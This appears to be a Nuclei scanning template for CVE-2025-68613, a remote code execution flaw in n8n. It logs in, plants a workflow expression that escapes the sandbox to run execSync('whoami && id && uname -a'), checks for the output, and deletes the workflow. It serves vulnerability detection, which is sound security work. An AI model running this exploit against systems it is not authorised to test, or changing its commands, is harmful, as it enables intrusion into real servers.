id: CVE-2025-68613

info:
  name: n8n - Remote Code Execution via Expression Injection
  author: rxerium,PentesterFlow,MuhamadJuwandi
  severity: critical
  description: |
    n8n < 1.120.4, 1.121.1, 1.122.0 contains a remote code execution caused by insufficient isolation in workflow expression evaluation, letting authenticated attackers execute arbitrary code with n8n process privileges. Exploit requires authentication.
  impact: |
    Authenticated attackers can execute arbitrary code with n8n process privileges, potentially leading to full system compromise.
  remediation: |
    Upgrade to versions 1.120.4, 1.121.1, or 1.122.0 or later.
  reference:
    - https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68613
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2025-68613
    epss-score: 0.98011
    epss-percentile: 0.99902
    cwe-id: CWE-94
  metadata:
    vendor: n8n
    product: n8n
    verified: true
    max-request: 7
    shodan-query: http.favicon.hash:-831756631
  tags: cve,cve2025,n8n,authenticated,rce,intrusive,vkev,kev

variables:
  randstr: "{{rand_base(8)}}"
  n8n_email: "{{n8n_email}}"
  n8n_password: "{{n8n_password}}"

flow: |
  http("version-check");
  let email = template["n8n_email"];
  let password = template["n8n_password"];
  if (email && password && email.length > 0 && password.length > 0) {
    http("login") && http("create-workflow") && http("run-workflow") && http("get-results") && http("delete-workflow");
  }

http:
  - id: version-check
    raw:
      - |
        GET /signin HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    extractors:
      - type: regex
        name: base64_content
        group: 1
        regex:
          - '<meta name="n8n:config:sentry" content="([A-Za-z0-9+/=]+)"'
        internal: true

      - type: dsl
        name: version
        dsl:
          - 'replace_regex(base64_decode(base64_content), ".*n8n@([0-9]+\\.[0-9]+\\.[0-9]+).*", "$1")'
        internal: true

      - type: dsl
        dsl:
          - '"n8n Version: " + version'

    matchers:
      - type: dsl
        name: version_check
        dsl:
          - '(compare_versions(version, ">= 0.211.0") && compare_versions(version, "< 1.120.4")) || (compare_versions(version, ">= 1.121.0") && compare_versions(version, "< 1.121.1"))'
          - 'contains(body, "<title>n8n.io")'
        condition: and

  - id: login
    raw:
      - |
        POST /rest/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"emailOrLdapLoginId":"{{n8n_email}}","password":"{{n8n_password}}"}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: create-workflow
    raw:
      - |
        POST /rest/workflows HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}

    extractors:
      - type: regex
        name: workflow_id
        part: body
        internal: true
        regex:
          - '"createdAt":"[^"]+","id":"([a-zA-Z0-9]+)"'
        group: 1

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: run-workflow
    raw:
      - |
        POST /rest/workflows/{{workflow_id}}/run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"workflowData":{"id":"{{workflow_id}}","name":"rce-test-{{randstr}}","active":false,"nodes":[{"parameters":{},"name":"Manual Trigger","type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[250,300],"id":"trigger-{{randstr}}"},{"parameters":{"values":{"string":[{"name":"rce_result","value":"={{ (function() { var require = this.process.mainModule.require; var execSync = require('child_process').execSync; return execSync('whoami && id && uname -a').toString(); })() }}"}]}},"name":"RCE Test","type":"n8n-nodes-base.set","typeVersion":2,"position":[450,300],"id":"set-{{randstr}}"}],"connections":{"Manual Trigger":{"main":[[{"node":"RCE Test","type":"main","index":0}]]}},"settings":{}}}

    extractors:
      - type: regex
        name: execution_id
        part: body
        internal: true
        regex:
          - '"executionId":"([0-9]+)"'
        group: 1

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: get-results
    raw:
      - |
        GET /rest/executions/{{execution_id}}?{{wait_for(3)}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: rce_output
        part: body
        regex:
          - '"([^"]*uid=[0-9]+\([^)]+\)[^"]*)"'
        group: 1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)'

      - type: status
        status:
          - 200

  - id: delete-workflow
    raw:
      - |
        POST /rest/workflows/{{workflow_id}}/archive?{{wait_for(2)}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

      - |
        DELETE /rest/workflows/{{workflow_id}}?{{wait_for(2)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true
# digest: 4b0a00483046022100ee099ed9738cfa449f0931442307aeaaa615720536b3b258ef00ef9e5b379d16022100a9c94437889f53a7171d87b8fe1b7f08b2a74bbc3a39bff4bde86e4e1de2c3ce:922c64590222798bb761d5b6d8e72950